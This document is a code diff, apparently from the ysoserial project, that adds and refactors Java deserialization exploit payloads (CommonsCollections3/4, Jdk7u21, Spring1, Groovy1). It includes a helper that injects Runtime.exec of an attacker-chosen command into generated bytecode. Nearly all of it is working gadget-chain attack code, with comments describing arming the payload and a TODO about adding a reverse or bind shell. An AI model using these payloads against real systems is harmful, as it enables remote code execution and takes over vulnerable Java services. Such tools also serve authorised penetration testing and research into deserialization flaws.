final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||||
queueArray[0] = templates;
|
queueArray[0] = templates;
|
||||||
queueArray[1] = new Gadgets.TransletPayload().withCommand(command);
|
queueArray[1] = 1;
|
||||||
|
|
||||||
return queue;
|
return queue;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void main(final String[] args) {
|
public static void main(final String[] args) throws Exception {
|
||||||
PayloadRunner.run(CommonsCollections2.class, args);
|
PayloadRunner.run(CommonsCollections2.class, args);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,60 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import java.lang.reflect.InvocationHandler;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
import javax.xml.transform.Templates;
|
||||||
|
|
||||||
|
import org.apache.commons.collections.Transformer;
|
||||||
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
|
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||||
|
import org.apache.commons.collections.functors.InstantiateTransformer;
|
||||||
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
|
||||||
|
* InvokerTransformer.
|
||||||
|
*/
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||||
|
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject(final String command) throws Exception {
|
||||||
|
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
|
// inert chain for setup
|
||||||
|
final Transformer transformerChain = new ChainedTransformer(
|
||||||
|
new Transformer[]{ new ConstantTransformer(1) });
|
||||||
|
// real chain for after setup
|
||||||
|
final Transformer[] transformers = new Transformer[] {
|
||||||
|
new ConstantTransformer(TrAXFilter.class),
|
||||||
|
new InstantiateTransformer(
|
||||||
|
new Class[] { Templates.class },
|
||||||
|
new Object[] { templatesImpl } )};
|
||||||
|
|
||||||
|
final Map innerMap = new HashMap();
|
||||||
|
|
||||||
|
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||||
|
|
||||||
|
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
|
||||||
|
|
||||||
|
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
|
||||||
|
|
||||||
|
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
|
||||||
|
|
||||||
|
return handler;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(final String[] args) throws Exception {
|
||||||
|
PayloadRunner.run(CommonsCollections3.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,63 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
import java.util.Queue;
|
||||||
|
|
||||||
|
import javax.xml.transform.Templates;
|
||||||
|
|
||||||
|
import org.apache.commons.collections4.Transformer;
|
||||||
|
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||||
|
import org.apache.commons.collections4.functors.ChainedTransformer;
|
||||||
|
import org.apache.commons.collections4.functors.ConstantTransformer;
|
||||||
|
import org.apache.commons.collections4.functors.InstantiateTransformer;
|
||||||
|
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
|
||||||
|
* InvokerTransformer.
|
||||||
|
*/
|
||||||
|
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
|
||||||
|
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
|
||||||
|
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
|
||||||
|
|
||||||
|
public Queue<Object> getObject(final String command) throws Exception {
|
||||||
|
TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
|
ConstantTransformer constant = new ConstantTransformer(String.class);
|
||||||
|
|
||||||
|
// mock method name until armed
|
||||||
|
Class[] paramTypes = new Class[] { String.class };
|
||||||
|
Object[] args = new Object[] { "foo" };
|
||||||
|
InstantiateTransformer instantiate = new InstantiateTransformer(
|
||||||
|
paramTypes, args);
|
||||||
|
|
||||||
|
// grab defensively copied arrays
|
||||||
|
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
|
||||||
|
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
|
||||||
|
|
||||||
|
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
|
||||||
|
|
||||||
|
// create queue with numbers
|
||||||
|
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
|
||||||
|
queue.add(1);
|
||||||
|
queue.add(1);
|
||||||
|
|
||||||
|
// swap in values to arm
|
||||||
|
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
|
||||||
|
paramTypes[0] = Templates.class;
|
||||||
|
args[0] = templates;
|
||||||
|
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(final String[] args) throws Exception {
|
||||||
|
PayloadRunner.run(CommonsCollections4.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -6,6 +6,7 @@ import java.util.Map;
|
|||||||
import org.codehaus.groovy.runtime.ConvertedClosure;
|
import org.codehaus.groovy.runtime.ConvertedClosure;
|
||||||
import org.codehaus.groovy.runtime.MethodClosure;
|
import org.codehaus.groovy.runtime.MethodClosure;
|
||||||
|
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
import ysoserial.payloads.util.Gadgets;
|
import ysoserial.payloads.util.Gadgets;
|
||||||
import ysoserial.payloads.util.PayloadRunner;
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
|
||||||
@@ -25,6 +26,7 @@ import ysoserial.payloads.util.PayloadRunner;
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({ "rawtypes", "unchecked" })
|
@SuppressWarnings({ "rawtypes", "unchecked" })
|
||||||
|
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
|
||||||
public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
|
public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
|
||||||
|
|
||||||
public InvocationHandler getObject(final String command) throws Exception {
|
public InvocationHandler getObject(final String command) throws Exception {
|
||||||
@@ -37,7 +39,7 @@ public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHa
|
|||||||
return handler;
|
return handler;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void main(final String[] args) {
|
public static void main(final String[] args) throws Exception {
|
||||||
PayloadRunner.run(Groovy1.class, args);
|
PayloadRunner.run(Groovy1.class, args);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+86
@@ -0,0 +1,86 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import java.lang.reflect.InvocationHandler;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.LinkedHashSet;
|
||||||
|
|
||||||
|
import javax.xml.transform.Templates;
|
||||||
|
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
|
||||||
|
the same JRE version requirements.
|
||||||
|
|
||||||
|
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
|
||||||
|
|
||||||
|
Call tree:
|
||||||
|
|
||||||
|
LinkedHashSet.readObject()
|
||||||
|
LinkedHashSet.add()
|
||||||
|
...
|
||||||
|
TemplatesImpl.hashCode() (X)
|
||||||
|
LinkedHashSet.add()
|
||||||
|
...
|
||||||
|
Proxy(Templates).hashCode() (X)
|
||||||
|
AnnotationInvocationHandler.invoke() (X)
|
||||||
|
AnnotationInvocationHandler.hashCodeImpl() (X)
|
||||||
|
String.hashCode() (0)
|
||||||
|
AnnotationInvocationHandler.memberValueHashCode() (X)
|
||||||
|
TemplatesImpl.hashCode() (X)
|
||||||
|
Proxy(Templates).equals()
|
||||||
|
AnnotationInvocationHandler.invoke()
|
||||||
|
AnnotationInvocationHandler.equalsImpl()
|
||||||
|
Method.invoke()
|
||||||
|
...
|
||||||
|
TemplatesImpl.getOutputProperties()
|
||||||
|
TemplatesImpl.newTransformer()
|
||||||
|
TemplatesImpl.getTransletInstance()
|
||||||
|
TemplatesImpl.defineTransletClasses()
|
||||||
|
ClassLoader.defineClass()
|
||||||
|
Class.newInstance()
|
||||||
|
...
|
||||||
|
MaliciousClass.<clinit>()
|
||||||
|
...
|
||||||
|
Runtime.exec()
|
||||||
|
*/
|
||||||
|
|
||||||
|
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
|
||||||
|
@Dependencies()
|
||||||
|
public class Jdk7u21 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject(final String command) throws Exception {
|
||||||
|
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
|
String zeroHashCodeStr = "f5a5a608";
|
||||||
|
|
||||||
|
HashMap map = new HashMap();
|
||||||
|
map.put(zeroHashCodeStr, "foo");
|
||||||
|
|
||||||
|
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
|
||||||
|
Reflections.setFieldValue(tempHandler, "type", Templates.class);
|
||||||
|
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
|
||||||
|
|
||||||
|
LinkedHashSet set = new LinkedHashSet(); // maintain order
|
||||||
|
set.add(templates);
|
||||||
|
set.add(proxy);
|
||||||
|
|
||||||
|
Reflections.setFieldValue(templates, "_auxClasses", null);
|
||||||
|
Reflections.setFieldValue(templates, "_class", null);
|
||||||
|
|
||||||
|
map.put(zeroHashCodeStr, templates); // swap in real object
|
||||||
|
|
||||||
|
return set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(final String[] args) throws Exception {
|
||||||
|
PayloadRunner.run(Jdk7u21.class, args);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -1,9 +1,45 @@
|
|||||||
package ysoserial.payloads;
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import java.util.Set;
|
||||||
|
|
||||||
|
import org.reflections.Reflections;
|
||||||
|
|
||||||
|
import ysoserial.GeneratePayload;
|
||||||
|
|
||||||
public interface ObjectPayload<T> {
|
public interface ObjectPayload<T> {
|
||||||
/*
|
/*
|
||||||
* return armed payload object to be serialized that will execute specified
|
* return armed payload object to be serialized that will execute specified
|
||||||
* command on deserialization
|
* command on deserialization
|
||||||
*/
|
*/
|
||||||
public T getObject(String command) throws Exception;
|
public T getObject(String command) throws Exception;
|
||||||
|
|
||||||
|
public static class Utils {
|
||||||
|
// get payload classes by classpath scanning
|
||||||
|
public static Set<Class<? extends ObjectPayload>> getPayloadClasses() {
|
||||||
|
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
|
||||||
|
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
|
||||||
|
return payloadTypes;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
public
|
||||||
|
static Class<? extends ObjectPayload> getPayloadClass(final String className) {
|
||||||
|
Class<? extends ObjectPayload> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = (Class<? extends ObjectPayload>) Class.forName(className);
|
||||||
|
} catch (Exception e1) {
|
||||||
|
}
|
||||||
|
if (clazz == null) {
|
||||||
|
try {
|
||||||
|
return clazz = (Class<? extends ObjectPayload>) Class.forName(GeneratePayload.class.getPackage().getName()
|
||||||
|
+ ".payloads." + className);
|
||||||
|
} catch (Exception e2) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (clazz != null && ! ObjectPayload.class.isAssignableFrom(clazz)) {
|
||||||
|
clazz = null;
|
||||||
|
}
|
||||||
|
return clazz;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,23 +5,20 @@ import static java.lang.Class.forName;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
import java.lang.reflect.Type;
|
import java.lang.reflect.Type;
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
import javax.xml.transform.Templates;
|
import javax.xml.transform.Templates;
|
||||||
|
|
||||||
import org.springframework.beans.factory.ObjectFactory;
|
import org.springframework.beans.factory.ObjectFactory;
|
||||||
|
|
||||||
import ysoserial.payloads.util.ClassFiles;
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
import ysoserial.payloads.util.Gadgets;
|
import ysoserial.payloads.util.Gadgets;
|
||||||
import ysoserial.payloads.util.PayloadRunner;
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
import ysoserial.payloads.util.Reflections;
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
Gadget chains:
|
Gadget chain:
|
||||||
|
|
||||||
ObjectInputStream.readObject()
|
ObjectInputStream.readObject()
|
||||||
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
|
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
|
||||||
@@ -43,28 +40,18 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
|||||||
TemplatesImpl.newTransformer()
|
TemplatesImpl.newTransformer()
|
||||||
TemplatesImpl.getTransletInstance()
|
TemplatesImpl.getTransletInstance()
|
||||||
TemplatesImpl.defineTransletClasses()
|
TemplatesImpl.defineTransletClasses()
|
||||||
TemplatesImpl.TransletClassLoader.defineClass()
|
TemplatesImpl.TransletClassLoader.defineClass()
|
||||||
Gadgets.TransletPayload.readObject()
|
Pwner*(Javassist-generated).<static init>
|
||||||
Runtime.exec()
|
Runtime.exec()
|
||||||
|
|
||||||
Requires:
|
|
||||||
spring-framework-core
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"restriction", "rawtypes"})
|
@SuppressWarnings({"restriction", "rawtypes"})
|
||||||
public class Spring1 extends PayloadRunner implements ObjectPayload<List<Object>> {
|
@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
|
||||||
|
public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
|
||||||
|
|
||||||
public List<Object> getObject(final String command) throws Exception {
|
public Object getObject(final String command) throws Exception {
|
||||||
final TemplatesImpl templates = new TemplatesImpl();
|
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
// inject class bytes into instance
|
|
||||||
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
|
|
||||||
ClassFiles.classAsBytes(Gadgets.TransletPayload.class),
|
|
||||||
ClassFiles.classAsBytes(Gadgets.Foo.class)});
|
|
||||||
|
|
||||||
// required to make TemplatesImpl happy
|
|
||||||
Reflections.setFieldValue(templates, "_name", "Pwnr");
|
|
||||||
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
|
|
||||||
|
|
||||||
final ObjectFactory objectFactoryProxy =
|
final ObjectFactory objectFactoryProxy =
|
||||||
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
|
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
|
||||||
@@ -78,14 +65,13 @@ public class Spring1 extends PayloadRunner implements ObjectPayload<List<Object>
|
|||||||
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
|
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
|
||||||
|
|
||||||
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
|
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
|
||||||
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Templates.class.getMethod("newTransformer", new Class[] {}), 0);
|
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
|
||||||
|
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
|
||||||
|
|
||||||
Reflections.setFieldValue(templates, "_auxClasses", null); // required to make TemplatesImpl serialization happy
|
return mitp;
|
||||||
|
|
||||||
return Arrays.asList(mitp, new Gadgets.TransletPayload().withCommand(command));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void main(final String[] args) {
|
public static void main(final String[] args) throws Exception {
|
||||||
PayloadRunner.run(Spring1.class, args);
|
PayloadRunner.run(Spring1.class, args);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,24 @@
|
|||||||
|
package ysoserial.payloads.annotation;
|
||||||
|
|
||||||
|
import java.lang.annotation.ElementType;
|
||||||
|
import java.lang.annotation.Retention;
|
||||||
|
import java.lang.annotation.RetentionPolicy;
|
||||||
|
import java.lang.annotation.Target;
|
||||||
|
import java.lang.reflect.AnnotatedElement;
|
||||||
|
|
||||||
|
@Target(ElementType.TYPE)
|
||||||
|
@Retention(RetentionPolicy.RUNTIME)
|
||||||
|
public @interface Dependencies {
|
||||||
|
String[] value() default {};
|
||||||
|
|
||||||
|
public static class Utils {
|
||||||
|
public static String[] getDependencies(AnnotatedElement annotated) {
|
||||||
|
Dependencies deps = annotated.getAnnotation(Dependencies.class);
|
||||||
|
if (deps != null && deps.value() != null) {
|
||||||
|
return deps.value();
|
||||||
|
} else {
|
||||||
|
return new String[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -22,19 +22,23 @@ public class ClassFiles {
|
|||||||
return str;
|
return str;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static byte[] classAsBytes(final Class<?> clazz) throws IOException {
|
public static byte[] classAsBytes(final Class<?> clazz) {
|
||||||
final byte[] buffer = new byte[1024];
|
try {
|
||||||
final String file = classAsFile(clazz);
|
final byte[] buffer = new byte[1024];
|
||||||
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
|
final String file = classAsFile(clazz);
|
||||||
if (in == null) {
|
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
|
||||||
throw new IOException("couldn't find '" + file + "'");
|
if (in == null) {
|
||||||
|
throw new IOException("couldn't find '" + file + "'");
|
||||||
|
}
|
||||||
|
final ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
int len;
|
||||||
|
while ((len = in.read(buffer)) != -1) {
|
||||||
|
out.write(buffer, 0, len);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} catch (IOException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
}
|
}
|
||||||
final ByteArrayOutputStream out = new ByteArrayOutputStream();
|
|
||||||
int len;
|
|
||||||
while ((len = in.read(buffer)) != -1) {
|
|
||||||
out.write(buffer, 0, len);
|
|
||||||
}
|
|
||||||
return out.toByteArray();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package ysoserial.payloads.util;
|
package ysoserial.payloads.util;
|
||||||
|
|
||||||
import java.io.IOException;
|
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
|
||||||
import java.io.ObjectInputStream;
|
|
||||||
import java.io.Serializable;
|
import java.io.Serializable;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
@@ -9,9 +9,15 @@ import java.lang.reflect.Proxy;
|
|||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.DOM;
|
import com.sun.org.apache.xalan.internal.xsltc.DOM;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
|
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||||
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
|
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
|
||||||
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
|
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
|
||||||
|
|
||||||
@@ -20,59 +26,43 @@ import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
|
|||||||
*/
|
*/
|
||||||
@SuppressWarnings("restriction")
|
@SuppressWarnings("restriction")
|
||||||
public class Gadgets {
|
public class Gadgets {
|
||||||
private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
|
static {
|
||||||
|
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
|
||||||
|
System.setProperty(DESERIALIZE_TRANSLET, "true");
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
|
||||||
|
|
||||||
|
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
|
||||||
|
private static final long serialVersionUID = -5971610431559700674L;
|
||||||
|
|
||||||
// serializable translet subclass that will command stored in field when deserialized
|
|
||||||
public static class TransletPayload extends AbstractTranslet implements Serializable {
|
|
||||||
private static final long serialVersionUID = 5571793986024357801L;
|
|
||||||
|
|
||||||
{
|
|
||||||
namesArray = new String[0]; // needed to make TemplatesImpl happy
|
|
||||||
}
|
|
||||||
|
|
||||||
private String command;
|
|
||||||
|
|
||||||
// execute stored command on deserialization
|
|
||||||
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
|
|
||||||
in.defaultReadObject(); // read command string
|
|
||||||
try {
|
|
||||||
Runtime.getRuntime().exec(command); // execute command
|
|
||||||
} catch (IOException e) {
|
|
||||||
e.printStackTrace(); // not trying to be stealthy
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public TransletPayload withCommand(String command) {
|
|
||||||
this.command = command;
|
|
||||||
return this;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
|
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
|
||||||
|
|
||||||
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
|
@Override
|
||||||
throws TransletException {}
|
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
|
||||||
}
|
}
|
||||||
|
|
||||||
// required to make TemplatesImpl happy
|
// required to make TemplatesImpl happy
|
||||||
public static class Foo implements Serializable {
|
public static class Foo implements Serializable {
|
||||||
private static final long serialVersionUID = 8207363842866235160L;
|
private static final long serialVersionUID = 8207363842866235160L;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface,
|
public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface,
|
||||||
final Class<?> ... ifaces) throws Exception {
|
final Class<?> ... ifaces) throws Exception {
|
||||||
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
|
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
|
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
|
||||||
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
|
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
|
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
|
||||||
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
|
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
|
||||||
allIfaces[0] = iface;
|
allIfaces[0] = iface;
|
||||||
if (ifaces.length > 0) {
|
if (ifaces.length > 0) {
|
||||||
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
|
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
|
||||||
}
|
}
|
||||||
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih));
|
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -81,4 +71,30 @@ public class Gadgets {
|
|||||||
map.put(key,val);
|
map.put(key,val);
|
||||||
return map;
|
return map;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
|
||||||
|
final TemplatesImpl templates = new TemplatesImpl();
|
||||||
|
|
||||||
|
// use template gadget class
|
||||||
|
ClassPool pool = ClassPool.getDefault();
|
||||||
|
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
|
||||||
|
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
|
||||||
|
// run command in static initializer
|
||||||
|
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
||||||
|
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
|
||||||
|
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
|
||||||
|
clazz.setName("ysoserial.Pwner" + System.nanoTime());
|
||||||
|
|
||||||
|
final byte[] classBytes = clazz.toBytecode();
|
||||||
|
|
||||||
|
// inject class bytes into instance
|
||||||
|
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
|
||||||
|
classBytes,
|
||||||
|
ClassFiles.classAsBytes(Foo.class)});
|
||||||
|
|
||||||
|
// required to make TemplatesImpl happy
|
||||||
|
Reflections.setFieldValue(templates, "_name", "Pwnr");
|
||||||
|
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
|
||||||
|
return templates;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,34 +1,41 @@
|
|||||||
package ysoserial.payloads.util;
|
package ysoserial.payloads.util;
|
||||||
|
|
||||||
import static ysoserial.payloads.util.Serializables.deserialize;
|
import java.util.concurrent.Callable;
|
||||||
import static ysoserial.payloads.util.Serializables.serialize;
|
|
||||||
|
import ysoserial.Deserializer;
|
||||||
|
import ysoserial.Serializer;
|
||||||
|
import static ysoserial.Deserializer.deserialize;
|
||||||
|
import static ysoserial.Serializer.serialize;
|
||||||
import ysoserial.payloads.ObjectPayload;
|
import ysoserial.payloads.ObjectPayload;
|
||||||
|
import ysoserial.secmgr.ExecCheckingSecurityManager;
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* utility class for running exploits locally from command line
|
* utility class for running exploits locally from command line
|
||||||
*/
|
*/
|
||||||
@SuppressWarnings("unused")
|
@SuppressWarnings("unused")
|
||||||
public class PayloadRunner {
|
public class PayloadRunner {
|
||||||
public static void run(final Class<? extends ObjectPayload> clazz, final String[] args) {
|
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
|
||||||
|
// ensure payload generation doesn't throw an exception
|
